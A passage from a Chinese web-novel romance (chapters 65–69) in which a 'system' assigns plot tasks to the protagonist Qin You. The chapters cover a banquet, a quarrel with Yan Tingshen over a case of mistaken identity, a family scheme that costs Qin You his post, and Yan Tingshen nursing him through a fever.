见他停下,裴笙也住脚。
秦游道:“有一句话,希望你放在心上。”
裴笙问:“什么话?”
秦游道:“你救过我的命,所以,以后遇到任何问题,随时来找我,即便你想重振册海集团。”
裴笙一怔。
他看向秦游,不由说:“……小时候的事,其实没有你说的那么重要。”
秦游只笑了笑:“这是我的承诺。”
系统还在担心。
宿主说的话,和原身的台词简直差了十万八千里,任务能完成吗?
可它转进任务列表,当即惊喜交加。
秦游也看到它打开的页面。
任务完成,他对裴笙颔首示意:“进去吧。”
裴笙看着他转身的背影,目光往下,看到他左手的伤,下意识说:“小秦总,庭深的手也伤得很重,你……”
秦游看他一眼。
这道眼神让裴笙说不出话来。
秦游道:“下次见。”
裴笙抿了抿唇:“……下次见。”
秦游转身回到车上。
汽车没在门前久留,很快启动。
回到泽水湾,系统担心的秦恒钟兴师问罪没有发生,别墅里风平浪静。
跟着秦游的项海峰也松了口气。
他不得已违背董事长的命令,要是被发现,他是吃不了兜着走。
秦游看出众人的后怕。
必须出门的任务结束,他也没精力再离开泽水湾。
药物的副作用,加上一点低烧,他吃了药洗漱后,回到卧室一觉睡到第二天将近中午。
只是,原以为和秦恒钟不欢而散,他能顺利卸下总经理的重任。
不想醒了没多久,他刚吃完午饭,崔凌的电话就追了过来。
“秦总,需要你亲自确认的报表我都发到你邮箱里,请你及时查看。”
秦游皱眉。
崔凌没催他去公司,显然知道一些内情:“董事长跟你说了什么?”
崔凌不疑有他:“董事长说你需要养病,最近居家办公。”
这种情况不是一次两次了。
真病假病先不论,反正很频繁。
而且二世祖在公司,和居家办公也没区别。
“对了,还有一份邀请函。”
崔凌说,“我已经派人送去泽水湾了。”
秦游道:“邀请函?”
崔凌解释说:“是一个每年都有的晚宴,今年的日期就在明天,听说每年参加的都是一些青年企业家,也有不少重量级,董事长应该是想让你拓展一下人脉。”
拓展人脉?
秦游很清楚,秦恒钟刚得知他“喜欢”上男人,现在不会有这种闲情逸致。
“我查过今年的主办方。”
崔凌又说,“润熙集团是其中之一。”
秦游又皱了皱眉。
齐晏主办的晚宴?
按齐晏和严庭深的关系,势必会请严庭深来撑场。
崔凌踌躇着补充:“小秦总,这个晚会,董事长的意思,是请你务必参加。”
视频事件之后,这次再见董事长,其实他也摸不准对方的态度。
特意吩咐他好好辅佐二世祖,好像也和看到视频之前没什么区别,就是提到这个不算多重要的晚宴,语气要比之前的峰会还坚决。
‘秦游必须参加。’
这个要求,崔凌当然是自觉传达。
秦游道:“告诉他,我病了,这个晚宴不能参加。”
崔凌一时两难:“可是——”
正在这时,管家敲门进来。
他身后是总经办的一个小助理。
“秦总,这是崔助让我转交给您的晚会请柬。”
秦游还没开口。
系统提示音先响起。
【重要剧情节点已解锁。】
【请宿主携带女伴参加晚宴,并在目标面前,为女伴解围。】
崔凌劝解的声音还从听筒传来。
“小秦总,行程已经安排好,你不参加的话,董事长可能不会同意。”
崔凌的语气带着不抱希望、小心翼翼的试探,“请你不要让我为难……”
下一秒,他听到二世祖的声音。
“明天七点过来吧。”
崔凌愣住了。
怎么搞的?
大少爷今天这么好说话?
“我——”
柳暗花明来得不可思议,崔凌还没反应过来,电话挂断了。
餐室里,助理放下请柬,也和管家一起离开。
秦游看着面板上的任务列表,又看向任务详情。
这是一个重要剧情节点?
【宿主,从强取豪夺开始,我们的任务就要攻略转变成主线了,这个重要剧情节点任务,肯定也是为了大幅降低目标对你的好感。】
系统则有不同的烦恼,【你昨晚才跟他承诺要帮他,今天就带了个女伴,如果任务顺利、按原台词来算的话,确实够渣的……可关键是他好像还没爱上你,这个任务真的会对他起作用吗?】
秦游道:【嗯。】
目标原本也不需要爱上他。
任务已经崩盘,能完成就足够了。
【……】系统等了半天,就听到这一个字,心里百般发愁。
它真的愁啊!
它很怀疑,要是有足够能量能抵消失败惩罚,宿主早就消极怠工了。
再想到宿主这两天的所作所为,它忧愁中又带着忐忑。
反派是不成了。
霸道也不要了。
连完成任务,宿主都跟以前不一样了。
之前虽然说人搞错了,可宿主攻略主角的时候,好歹还发条信息,聊聊天,送送花,调调情——
现在人对了,变成攻略目标,回到正轨了,这些怎么都没有了呢!
别说调情,连一点爱情的火花都看不见啊!
主线任务是要让目标先爱上宿主,再被宿主伤心,最后转投主角的怀抱。
结果爱上主角的前提完全没有,任务还怎么进行得下去嘛!
系统越想,越是头疼。
最重要的是,它以前怎么就没发现宿主在台词上那么敷衍呢?
那么长、那么一大段激情澎湃的台词,到了宿主嘴里,就变成了一两句话,任务竟然还判定完成了?!
都怪主系统!
系统暗暗骂着,又强打精神。
不行。
它必须想想办法!
第 66 章 这句话,难道不该是我问……
次日。
七点整。
早已经等在院前的司机看到秦游出门, 连忙下了车,打开后车门。
崔凌从一旁过来,迎上前:“小秦总, 董事长请你先去真明路接楚小姐。”
秦游扫过周围一圈保镖, 笑了笑:“走吧。”
崔凌也注意到周围的架势,明白肯定是董事长下令让他们跟着,没多说什么, 上车之后直接去了真定路。
他认识董事长这次看中的小姐,是一个合作方家的独生女, 叫楚瑞, 性格和之前的刘小姐几乎是相反的, 明艳外向, 开朗大方, 今年二十四, 倒有一点相似, 也是刚从国外回来。谈婚论嫁的话, 这样的条件, 和秦游确实很合适。
可惜二世祖还是没看上。
接到了人, 从前座又听到秦游说出和上次差不多的说辞, 崔凌摇了摇头。
董事长想用相亲让秦游收心,显然是不可能的事。
之后车厢内安静一路,到了晚会地点, 车慢慢停了。
崔凌下车等在一旁,突然感觉空气一阵凝滞,转脸一看,僵住了。
这位怎么也在?
他下意识看向秦游。
秦游正礼貌性等楚瑞整理裙摆,听到脚步声同时停住, 他也循声看过去。
齐晏走在最前,先打量一眼楚瑞,看向秦游的眼神充满谴责。
裴笙看了看秦游,眼神也略微复杂。
秦游没注意到两人,只看了严庭深一眼,随即收回搭在车门上的手。
严庭深和他对视,没有回避,神情不改,语气不变:“秦总。”
楚瑞好奇地观察面前三个风格不同的帅哥,尤其是严庭深,看了一眼,她脸色微红。
但当对方冷若冰霜的视线从身上一扫而过,她的脸顿时不红了,又往秦游身后躲了躲。
秦游也没注意到她的动作,听到严庭深的称呼,他顿了顿,颔首示意:“严总。”
闻言,严庭深的目光缓缓回到秦游的脸上。
他盯着这张曾经熟悉的脸,没再开口,径自转身离开。
裴笙欲言又止,还是没说什么,和他一起离开。
齐晏最后再谴责两眼,也跟着走了。
一旁,崔凌看看二世祖和相亲对象,再看看严庭深三人的背影——
这情景……
怎么这么眼熟呢……
还这么巧,又是在彤盛酒店门口……
楚瑞从秦游身后出来:“秦总,我们也进去吧?”
秦游道:“嗯。”
楚瑞心不在焉地跟在他身后,时不时看他一眼。
进了酒店没多久,她忍不住直接说:“秦总,我知道你暂时没有成家的打算,可我们都是未婚,你可不可以给我一个机会,让我追求你?”
她说完,紧张等待着秦游的回答。
崔凌也瞄向秦游,不知道他会怎么应对这么热情的姑娘。
秦游转向楚瑞。
他唇边还有微笑:“不好意思。我喜欢男人。”
楚瑞愣在原地。
崔凌也睁大双眼。
他看向身后显然是董事长派来盯梢的安保,果然看到几人面面相觑。
二世祖疯了?
这和在董事长面前出柜有什么区别?
这句话一出,这场晚宴之后,还不知道会引起有多大的风波……
秦游脚下没停,继续走向大宴会厅。
系统这时谨慎出声,悄悄试探:【宿主,这样下去,节点任务虽然能完成,可任务主线一点也没有推进啊……】
宿主接到的主线任务,是通过干预相关剧情节点,达到成功促进主角感情升温的目的。
现在,剧情是干预了,主角和目标之间的感情却连影子都没有。
反而宿主之前错认目标,导致目标已经把主角和宿主当成情侣,还一个劲劝他们和好呢……
这全乱套了!
它想了一夜,终于想到一个好办法,简直是天衣无缝,无懈可击!
唯一的难题。
就是宿主会不会配合。
秦游也听出它蹩脚的故弄玄虚:【有话就说。】
系统咳了一声:【宿主,是这样的,我有一个办法——】
秦游道:【不行。】
【……】系统委屈,【我还没说是什么办法呢!】
秦游敷衍一句:【你说。】
【……】系统试图着重强调,引起宿主的重视,【任务已经到了降低好感的阶段,我看宿主也不打算攻略目标,这么继续发展下去,到任务结束,主角的感情还是得不到有效进度,剧情没有发生改变,主线肯定会判定失败,宿主你天天穷得攒一点能量都费劲,肯定是没有下一个任务的机会了——】
秦游道:【不行。】
【……】系统崩溃,【……我还没说到呢,宿主你根本都没听我在说什么!】
秦游道:【重点。】
系统再也不敢挑战宿主有限到令人发指的耐心。
它直奔主题:【我说我说,重点是,宿主你对目标没感觉,要不顺便把主角也一起拿下吧?】
宿主认错人的时候,虽然也消极怠工,对任务推三阻四。
可是和主角在一起,宿主看起来要比现在有兴致。
闻言,秦游眉间微皱:【你说什么?】
【我说攻略主角呀。】
系统解释说,【我觉得,之前虽然人搞错了,可主角的感情进度,确实是在宿主你来到这个世界之后才开始波动,说明攻略是有效的。】
秦游道:【他的感情波动,不能断定和我有关。】
【那也不能断定和你无关嘛。】
终于不再是“不行”这个让它线路发麻的回复,系统忙接着补充细节,【如果主角的感情是为宿主你波动,那你先攻略主角,再把主角甩掉,让目标趁虚而入,主角因此发现目标的好,他们就能顺利在一起了。】
说到这,它的语气还带有遗憾:【要是宿主能同时把目标搞到手就更好了,这样他们同为受害者,说不定还多一点惺惺相惜的感情呢。】
秦游:【……】
【如果不是为宿主波动,那至少也是有效果的嘛,做了总比不做好。而且没有时间限制,也没有失败惩罚,宿主你可以自由发挥。】
系统越说越觉得自己是个天才,美滋滋地做最后总结,【当然啦,保险起见,任务还是要做的,反正目标的任务对宿主你轻而易举,就当是备用计划了,这样出了差错,我们还有一条退路,万无一失!】
秦游听它说完,给它答案:【不行。】
【……为什么!】
系统绝望到一半,突然想起什么,赶紧说,【哦哦哦宿主你是担心主角会不可自拔地爱上你吗?没关系的,主角的感情就是任务主线,他爱上你的话,按主系统只看重结果的作风,肯定会判定你任务成功的。反正宿主你也喜欢男人,这个世界的主角绝对是顶级优质男人,你——】
秦游道:【我不喜欢男人。】
【……】系统疑似宕机了。
脑海里安静下来,秦游继续走进宴会厅。
已经回过神的楚瑞走到他身边,也同样安静。
只是,不知是谁安排的座位,侍者引秦游入座时,秦游抬眼就看到坐在正对面的严庭深。
齐晏和裴笙也在同桌。
另有几个不认识的生面孔,隐隐都以严庭深为主。
晚宴还没正式开场,就陆续有人过来敬酒寒暄。
裴笙坐在一旁,时不时有人打声招呼,不过转过身去,大部分人聊起他的语气都带着揶揄,夹杂着一些讥讽。
这些裴笙一概当作看不见。
秦游来时看到齐晏正要扔了餐巾起身,下一刻就被裴笙按了回去。
“小秦总?幸会幸会!”
听到有人打招呼,两人一起看过来,发现果然是秦游,又一起转向严庭深。
严庭深冷眼看着秦游和楚瑞落座,收回视线,一口喝尽杯里的酒,放下酒杯。
裴笙转向齐晏。
“……”齐晏一脸无辜,“我哪儿能猜到他会带女伴过来……话说起来,他们这架吵得也太过火了吧……”
裴笙看向正听楚瑞说话的秦游,一时间无言以对。
—
“秦总,我的衣服好像开线了。”
楚瑞一脸窘迫地按住腋下的布料,小声对秦游说,“能不能麻烦你……”
看到任务详情页的提示,秦游脱了外套递给她,算作解围。
楚瑞连声道谢。
系统则悄悄关注着目标的好感度变化。
等任务判定为成功,它就算有预料,也失望极了。
好感度只降了一点。
目标对宿主关注其他女孩不满,但不多,不论出于哪一种情感,都根本达不到重要剧情节点应该达到的标准。
楚瑞穿好外套,又对秦游说:“我想先去收拾一下。”
秦游关了系统打开的好感度面板,示意项海峰送楚瑞出去,刚回身,看到对面严庭深突然起身离席。
没多久,齐晏走了过来,笑着说:“秦总,庭深在隔壁等你。”
秦游扫过对面的空位,看他一眼。
齐晏问:“我送你过去?”
秦游起身,只问:“哪个包厢?”
齐晏立刻招来一旁侍者:“送秦总过去。”
侍者应是。
齐晏正要一起过去,被裴笙按住了。
“这是他们的私事,你不要掺和。”
“不是……”齐晏往门外努了努嘴,意有所指,“你掺和得少吗?”
裴笙没说话,动作却不变。
见他坚持,齐晏叹气,只能目送八卦离开。
秦游已经出门。
侍者尽责地带路到老板交代的包厢门前,对他说:“秦总,就是这里。”
秦游道过谢,先抬手敲响房门,才推门进去。
门内,严庭深正在窗边。
他在敲门声中回身,直到门关,才开口。
秦游的声音和他同时响起。
“什么事?”
“你找我?”
同时听到这句话,秦游脚步微顿。
严庭深的手也稍稍收紧。
他看过秦游身上少了一件外套的正装,转身回到窗前,沉声道:“既然没事,秦总还是回去陪楚小姐吧。”
听到身后一片沉默,他薄唇微抿。
片刻,再转眼看过去,正对上秦游还在原地的双眼。
秦游看着严庭深。
自从那一晚,还是第一次,他和严庭深在清醒的状态下独处。
听过这句话,他没走,只是问了一句:“严总,真的希望我离开?”
这样简单的一句话。
这样清晰分明的一个称呼。
严庭深听着,按在窗台的手却陡然狠狠握紧。
他压着莫名涌动的烦乱,但心底压抑许久、堪堪平静的怒火已在瞬间冲破枷锁,在冲撞,在叫嚣——
理智告诉他,既然见面,即便不是出于秦游自愿,平心静气地谈一谈也好。
严庭深克制着呼吸。
然而肆意在胸间袭卷的愠怒刹那压垮理智,让他再度不由自主——
他猛地看向秦游,语气也压抑不住情绪,脱口而出。
“这句话,难道不该是我问你吗?”
第 67 章 如果你在一开始,就知道……
“你问我?”
秦游看向严庭深, “你认为,我希望你离开?”
严庭深又倏然收回视线:“难道不是吗?”
他看着窗外,语气听起来冷静异常, “你已经知道我是谁, 也已经知道救你的人不是我,你还有什么理由,把时间浪费在我身上?”
话落, 他没有回头,只听到秦游的声音缓步走近。
“我从来没这么说过。”
听着熟悉的声音, 听着熟悉的脚步。
严庭深蓦地闭眼:“你没这么说过。你只是这么做了。”
他按在窗台棱角, 那个三次没问出口的问题, 其实早有答案, “这段时间, 你一直把我当成裴笙。”
身后的脚步声微顿。
“你以为我是裴笙, 所以才会接近我。”
严庭深缓缓睁眼, 手掌不自觉用力, 话说出口, 连呼吸都在放轻, “你对我说的每一句话, 为我做的每一件事,都是因为你认错了人。你想找的,从来都不是我。”
房间里, 安静悄然而至。
秦游看着面前的背影,须臾才说:“这件事,是我的错——”
“错?没错,归根究底,这只是一场错误。”
严庭深忽而打断了他, 语气分明如常,却无端显得尖锐,“那么在你眼里,错的是把我当成裴笙,让你白白在我身上浪费了这么多精力;还是错在认识了我,没能让你向你的阿笙表明心迹,影响了你们双宿双飞?”
秦游皱眉:“我不是这个意思。”
他走到严庭深身旁。
严庭深却又转身:“是吗。这两天,秦总应该一直在忙着怎么挽回裴笙吧,需要我去帮你解释吗,为你解释清楚,你和我严庭深,从头到尾,都没有半点关系。”
“和我没有半点关系。”
秦游看着他走远,只问:“你真的这么想?”
严庭深语气沉冷:“这是事实。”
“好。”
秦游道,“如果这是事实,告诉我,那一晚,为什么来找我。”
闻言,严庭深下颚冷硬,沉默良久。
“如果你不在意,又何必这么生气?”
严庭深抿直薄唇。
秦游这时到他身侧,见他又要错身避开,索性抬手按在他手腕,把人拉回身前。
严庭深沉声道:“放开我!”
“看着我。”
秦游淡声说完,再把人按住,压制着他所有动作,才接着开口,“我承认,认错人是我不对,但这段时间,我对你做的一切是真心还是假意,难道你不能分辨?”
严庭深被迫和他对视,闻言,手臂微僵,停在原地,忘了挣脱。
秦游道:“认识你也不是错。正相反,认识你,是我来到这个世界,遇到的唯一一件好事。”
严庭深微怔看他:“你……”
秦游也看着他的眼睛:“你是当事人,你应该最了解。我是真的把你当成朋友。”
“朋友?”
严庭深的手渐渐松了,他移开视线,“你是把我当成朋友,还是把你眼里的阿笙当成朋友,秦游,你的真心是对谁,你自己能分辨吗?”
秦游的语气没有变化。
他告诉他:“我当然可以。”
严庭深微顿,又看向秦游。
从近在眼前的这双桃花眼底,隔着清晰的镜片,他看到和从前一样的倒影。
但他已经错过一次。
这双眼睛曾经看他,只是从他身上找四岁时裴笙的影子。
严庭深再次避开这道目光,转身要走:“……你可以自欺欺人,我做不到。”
“为什么不信我?”
秦游把人扣在原地,“你不是一直希望我只把你当成朋友,不发展额外的特殊感情。现在真相大白,我不会再追求你,你不应该高兴吗。”
闻言,严庭深呼吸不觉微乱一霎。
他本能按在秦游的手臂,动作却乱了章法:“……松手!”
秦游没有如他所愿:“告诉我,你的想法。”
严庭深挣开手腕的钳制,已经转身:“我没什么想法要告诉你。”
秦游又扣在他的臂弯,把人再拉回来:“事情已经发生,你知道逃避于事无补,我已经道歉,也可以补偿——”
严庭深骤然回眸:“补偿?”
对上这双本该淡漠、却不知什么时候悄然浸起血丝的漆黑眸光,秦游一顿。
“在你眼里,我算什么?”
严庭深本就沉冷的嗓音如冰如霜,“任你召之即来,挥之即去?”
秦游道:“你——”
严庭深冷眼看他,语气也在压抑中生硬:“你可以在我身上投注对裴笙的感情,当然也可以收回,这是你的自由,我不需要你的补偿。但我的情绪也是我的自由,和你无关。”
秦游微蹙起眉:“我——”
“你想知道我的想法?”
严庭深再次打断了他,在他身前站定,心弦绷成一线,“好,我的确有一个问题要问你。请你如实回答。”
秦游道:“好。”
严庭深盯着他,五指收紧:“如果你在一开始,就知道我是严庭深,秦游,这段时间的一切,你还会那么做吗?”
听到这个问题,秦游不由沉默。
但沉默有时已是最准确的答案。
严庭深掌下力道愈重。
听到秦游无声的回答,他垂眼轻笑,笑意短促,带着自嘲。
“秦总,请自便。”
话音没落,他已经转身。
系统这个时候才敢冒头。
它忍不住说:【宿主,我看主角好像很介意这件事啊,攻略他的希望有点渺茫了,要不还是回去攻略目标吧,他比较好骗一点……】
秦游没开口。
他暗叹一声,也转身离开了包厢。
算了。
被当成别人相处这么久,严庭深生气也是情理之中。
但生气到这种程度,他说得再多也没用,还是冷静一段时间再谈吧。
—
与此同时。
秦宅,书房。
“什么!”
秦恒钟从沙发上起身,脸色难看,“你亲耳听到秦游这么说?”
秦桦也拿出震动的手机,看了屏幕一眼,他眼神微妙,嘴角闪过一个飞快隐没的笑意,才看向秦恒钟。
秦恒钟已经从听筒里得到回复,沉着脸挂断了电话。
秦桦也猜到通话的内容。
‘我喜欢男人’?
这种话,私下里说说还好。
在彤盛酒店,周围人来人往,秦游敢说出这句话,就算没人听到,也是白白送一个把柄到他手上。
这么好的机会,他要是不接住,那就太浪费了。
“爸,秦游今天不是听您的,接了楚瑞去彤盛酒店吗,您就不要再生他的气了。”
“听我的?”
秦恒钟在沙发前踱步,“我看他是铁了心要和我作对!”
秦桦跟着他站起来:“他还小,不懂您现在的良苦用心——”
秦恒钟抬手,打断了儿子的话。
从秦游的表现,他其实看得很清楚。
秦游对严庭深用情至深,秦氏的股份都不能动摇。
这次秦游松口答应和楚瑞见面,想来只是缓兵之计。
到了宴会上,秦游就能正大光明的和严庭深见面。
这个电话打过来时,秦游和严庭深也的确不知所踪。
想到这一点,秦恒钟脸色更沉。
他本来以为一天的时间足够秦游脑子清醒,没想到秦游反而变本加厉,丝毫不顾及颜面,当着外人的面,竟然直接说出自己喜欢男人!
秦游这么做,说明是真的不在乎秦氏,也是真的不在乎被他责问。
秦桦看他的表情,上前一步:“爸,其实想让秦游负责任一点,我倒有个办法……就是,可能要让他受点委屈。”
秦恒钟皱眉:“什么办法?”
秦桦早已经准备好说辞:“秦游回国就担任总经理,又一直有您为他保驾护航,根本不知道继承秦氏对他是什么意义,您现在生气,最多也就是让他待在泽水湾,也没让他真正尝过苦日子的滋味,他才会这么不在乎,我的意思是,您装装样子,让他怕一怕。”
秦恒钟听完,回身坐下:“你继续说。”
知道老爷子已经听进心里,秦桦掩去脸上的一抹笑意:“具体怎么装样子,我倒也没什么主意,您觉得呢?要不要先断了他的账户?”
对于自家的老爷子,他非常了解。
如果说得太多,自然会被看出他的刻意,话只需要点到为止,失败也没关系,尝试而已,可只要成功,那就是意外之喜了。
秦恒钟摇头:“断账户对他没用。”
他对秦游满意,有一点就在于秦游从不挥霍,对金钱的观念非常成熟。
“那从公司入手?”
秦桦提醒,“爸,秦游胆大心细,一般的情况,他不一定会怕。”
秦恒钟想了想:“那就从他总经理的位子着手。”
秦桦假意劝解:“这不好吧,总经理的位置也关乎公司,动这个会不会太大了?”
秦恒钟说:“我还在,你怕什么。”
秦桦知道过犹不及,又换个说辞:“可动了总经理,总经办那边……爸,您要不要找个人,先暂代他的职位?”
听到这句话,秦恒钟沉沉看他一眼。
秦桦竭力保持镇定,不敢在他面前露出丝毫马脚,假作思索:“这个人,我也有个人选。”
放在以前,他根本不会让多余的人深入公司高层。
但秦游的威胁越来越大,给他造成的损失越来越多,他不得不另找合作的人选了。
秦恒钟问:“你觉得谁合适?”
秦桦又看了看他的脸色,才说:“康明。”
康明?
想到这个人选,秦恒钟皱起眉头。
管家这时送来茶水。
听到两人的谈话,他也多看了秦桦一眼,很快转身出门。
书房的灯亮了许久。
直到次日,秦氏的一则人事变动迅速飞传。
远在青宁路的齐晏听到属下汇报,还以为自己做梦没醒。
之后确认过消息属实,当即一通电话打给了严庭深。
不多时,电话接听。
对面的语气比平常更冷。
“什么事。”
齐晏习惯了。
从昨天和秦游不欢而散,他就猜到这段日子肯定会很艰苦。
他也没在意严庭深的语气,忙开门见山:“庭深,秦游出事了!”
严庭深握手机的手一紧,缓缓坐正:“你说什么?”
第 68 章 吵架归吵架,交情归交情……
“我刚收到消息。”
齐晏知道好友肯定会担心, 没有拐弯抹角,言简意赅,“是秦氏今早的通知, 秦游的总经理被撸了, 说是因病需要休养,职权由新任副总经理代行,听说秦游昨天就称病没去公司, 到现在也一直没露面。”
严庭深眉间紧蹙:“因病?”
齐晏说:“我猜只是找的借口,昨晚见面, 秦游也就咳了几次吧, 就算病了, 也没那么严重啊。”
严庭深蹙眉愈深。
“还有这个副总经理, 你也认识, 就是那个康明。”
齐晏继续说, “关于他, 其实上次秦氏还有另外一个传言, 说他不是秦恒钟的私生子, 是秦游他爸的。”
这个消息无足轻重, 他没跟严庭深提起过。
可现在看来, 不论康明究竟是谁的孩子,秦恒钟把人放在身边果然是大有文章。
竟然让上不了台面的私生子,顶替名正言顺的秦游?
齐晏实在想不通, 秦恒钟到底有什么理由去做这种事。
“其余具体的情况,我也不是特别清楚。”
他说,“原因我可以去查查,但秦游那边,我就无能为力了。”
秦游的行踪要是能随便查出来, 除非秦家彻底放弃秦游。
齐晏想着,才后知后觉,发现听筒里还没传来严总的指示,不由看了一眼屏幕。
确认还在通话中,他想了想,确认一遍:“庭深,要查吗?”
这一次,严庭深的声音很快传来:“查。”
齐晏于是明白。
吵架归吵架,交情归交情。
“那我有消息再找你。”
通话挂断。
严庭深放下手机。
他本想继续处理公务,指下已经鬼使神差,点进了聊天软件,点进和秦游的聊天界面。
因病需要休养。
昨晚和秦游见面,他却没察觉。
那时候,秦游病了?
严庭深点进输入框,动作又顿住。
记录里的最后四个字就在眼前,让那一晚的情景流水般涌入脑海。
严庭深呼吸微重。
正在这时,门外传来敲门声。
“严总,”裴笙皱眉进来,“小秦总他——”
说到这,走近看到严庭深的身上,他话音止住,“你知道了?”
严庭深握着手机,抬眼看他。
裴笙下意识停在原地,稳住想后退的本能:“……严总?”
严庭深收回视线,只淡声道:“他没联系你吗。”
“他怎么会联系我?”
事出紧急,裴笙说,“严总,他的病到昨晚都没好,秦氏的通报也不确定有多少真假,你要不要问问他?”
严庭深放下手机:“你有他的联系方式。”
裴笙一愣。
他看着严庭深处理邮件,索性依言给秦游打了一通电话。
听到回铃声,严庭深悬在键盘的手缓缓停下。
但铃声响过,通话无人接听。
裴笙皱着眉,又打了一遍。
第二遍依旧是无人接听,到了第三遍,才有人接起电话。
裴笙打开免提,对面传来的却不是秦游的声音。
“你好,秦先生卧病在休息,现在不方便接通电话,请问有什么紧急事件?等秦先生醒过来,我会马上转达。”
严庭深眉头紧蹙,沉声道:“怎么回事?”
听到他的声音,通话另一端的管家愣了愣,忙说:“是您?秦先生低烧两天没有吃药,加上早上伤口感染,烧热更严重了!”
严庭深从桌前起身,语气愈沉:“他睡了多久?”
管家说:“大约四十分钟。”
严庭深问:“他在医院?”
管家有些犹豫:“家里有医生,秦先生交代,不需要去医院。”
裴笙看向严庭深。
看到那双薄怒下难掩担心的眼神,他默然站在原地,直到电话挂断。
他问:“小秦总病得这么重,庭深,你要去一趟吗?也能当面问他,秦氏的人事变动是怎么回事。”
听到他的声音,严庭深眉间的痕迹却渐渐抚平,片刻,只道:“你去看他吧。”
裴笙不明所以:“我去?”
严庭深坐回桌前:“嗯。”
自始至终,秦游想见的人,只有“阿笙”。
这几天,他或多或少记起之前的经历。
他曾亲身体会秦游对“阿笙”的态度,也曾亲眼见过秦游对旁人的偏见。
尤其对裴笙的偏见。
或许,是对“严庭深”的偏见。
严庭深看着已经黑屏的手机,心底细密的刺痛一闪而过,空留余韵。
秦游把他认错成裴笙,那么会把和他共事的裴笙认错成谁,不言而喻。
换言之。
秦游曾最不想见到的人,就是他。
所以真相大白,秦游迫不及待约见裴笙。
那之后,昨晚唯一一次和他见面,也是被齐晏误导,不是出于自愿。
何况话也已经说明。
事已至此,他又何必再去自讨没趣,让彼此难堪。
“可我不知道他的住址。”
裴笙说,“他住的地方,恐怕也不会随随便便放我进去吧。”
严庭深看他一眼。
裴笙继续说:“而且刚才电话里没说清楚,他病得怎么样?如果高烧不退,又没去医院,岂不是可能会有生命危险?”
闻言,严庭深眼底微沉。
裴笙看向他:“你一向最了解他的性格,他的决定,他手底下的人也不会违背,要是真的不去医院——”
严庭深再看他一眼。
裴笙抿了抿唇,没再多话。
他知道,说得再多,他都不可能左右严庭深的想法,更不可能替严庭深做决定。
严庭深收回视线。
他关了电脑,先通知秘书备车。
裴笙原以为他不打算过去,听到他的话,下意识看过去。
严庭深已经再次起身。
但走出一步,他住脚,又回到桌前,拉开抽屉。
裴笙看见,那是一个表盒。
严庭深把表盒放进外套口袋,才转身出门。
去见秦游。
是把之前没能还清的礼物了结。
—
泽水湾。
主卧。
秦恒钟看着躺在床上的秦游,问过管家病情,半晌,还是皱着眉下了楼。
路过项海峰,他说:“这段时间让他好好养病,一切,等他痊愈之后再提。”
项海峰低头应是。
秦恒钟又往楼上看了看。
他没想到,秦游竟然真的病得这么重。
也幸好,病得这么重,没有第一时间得知人事变动的消息,免得精神也受打击。
可事情已经尘埃落地,朝令夕改太过玩笑,只能先让秦游养病,之后的事,再按原来的计划进行。
想到这,秦恒钟又说:“在家里也好,医院人多眼杂,这里还清静。”
项海峰面露复杂。
他那天晚上亲眼见证那一幕,当然知道董事长为什么解除老板的职位,只是听这话里的意思,董事长好像对老板又没有真的绝情——
“照顾好他。”秦恒钟说,“我来看他的事,也不用告诉他。”
意思就是这些话也要当没听过。
项海峰说:“好的。”
看着董事长离开,他叹了口气。
老板的运气真是不太好,那天被撞个正着,今天职位就被罢免了。
关键是,病了两天了,对象也不来看看……
难道真的被董事长拆散了?
还钧闵集团的总裁呢,这么没魄力——
项海峰正为老板不值,耳机里忽然传来声音。
他听完一凛,赶紧到了门外。
看到那辆熟悉的车,再看到熟悉的挺拔身影从车上下来,对上那张熟悉的冷峻的脸,项海峰咳了一声,迎了上去。
“严总。”
严庭深看他一眼:“秦游怎么样?”
项海峰忙说:“秦总烧还没退,但比之前——”
他正说着话,看到后面又进来一辆车。
医护人员浩浩荡荡从车上下来,一齐跟在严庭深身后。
“……”项海峰一时失语,暗自琢磨,老板到底给了这位多大的权限?
“比之前怎么。”
听到严庭深的声音,项海峰回过神:“——啊,比之前好点了,医生说晚上应该可以退烧。”
严庭深蹙眉。
见状,项海峰对管家示意,后者立刻联系了医生。
一行人来到主卧。
医生也提着药箱匆忙赶来。
看到严庭深身后严阵以待的医疗团队,医生心里一声“咯噔”。
坏了。
看着没人家专业。
严庭深对身后略一摆手。
站在团队最前的负责人走向医生:“你好,请问病人现在处于什么状态?”
医生:“……”
不就是发烧吗?
药吃了,伤口处理了,好好睡一觉就差不多了,还能是什么状态……
可看对面这情况,他也不敢怠慢,立刻把雇主的所有病情,一五一十、事无巨细全部交流了一遍。
负责人听完,再检查过,才向严庭深说明情况。
最后补充了一句:“需要尽快退烧。”
医生:“……”
这不废话吗?
项海峰听到这,也反应过来,对严庭深说:“严总,退烧药已经吃过了,医生说可以配合物理降温,不过秦总说不需要。”
严庭深看向床上的秦游。
比起昨晚,秦游的脸色略微苍白,鬓边有浅浅一层汗迹。
但除此外,他看起来的确如常,静静睡着,只是脸上没有表情,显得比清醒时冷淡。
“……”项海峰看看这个,再看看那个,然后对所有人挥了挥手。
众人无声退了出去。
听到关门声,严庭深回眼看过紧闭的房门,顿了顿,又往前两步,走到床前。
没多久。
房门又被敲响。
“进。”
项海峰低头进来。
退烧贴放在床头,浸着毛巾的一盆温水放在床尾。
严庭深转眼看他。
项海峰想走,又问了一句:“需要我找护工过来吗?”
严庭深收回视线:“不用。”
项海峰还没转身,听到他又说。
“不必告诉他我来过。”
相似的话,话里的含义却不一样。
项海峰抬头看向严庭深的背影,复杂地点了点头:“好的。”
房门又开合。
严庭深没有回头。
他看着秦游,良久,才拧干毛巾的水,擦去秦游额前颈间的浅汗。
擦到衣领,他动作停住,起身放回毛巾,再从床头拿过退烧贴,回到床边。
看着秦游无知无觉的脸,他又顿了顿,俯身抚平秦游额前的头发,轻轻把退烧贴按下。
贴过前额。
贴过颈侧。
严庭深把最后一贴按压服帖,正要再起身,不经意抬眼,动作却不由微僵。
那张冷淡的脸近在眼前,那双不知何时睁开的桃花眼,也不知何时正看着他,如墨凛然的眸光同样平淡,只静静看着他。
严庭深屏住呼吸:“你醒了?”
秦游垂眸,看过他的手。
严庭深抿唇,正要转身——
秦游已经按住他的手腕,把他包扎过的右手带到面前。
严庭深避开他的目光:“放手。”
秦游终于开口。
声音稍稍沙哑,他淡声问他:“你的伤,好点了吗。”
第 69 章 看来我们的确很有缘分。……
卧室里, 静得只剩无声的呼吸。
被秦游扣住,起身的动作反而拉近。
严庭深迫不得已,再俯身按在秦游枕上, 保持这段呼吸的距离。
听到耳边的话, 他看了秦游一眼,只道:“躺在床上,还有心情问我的伤?”
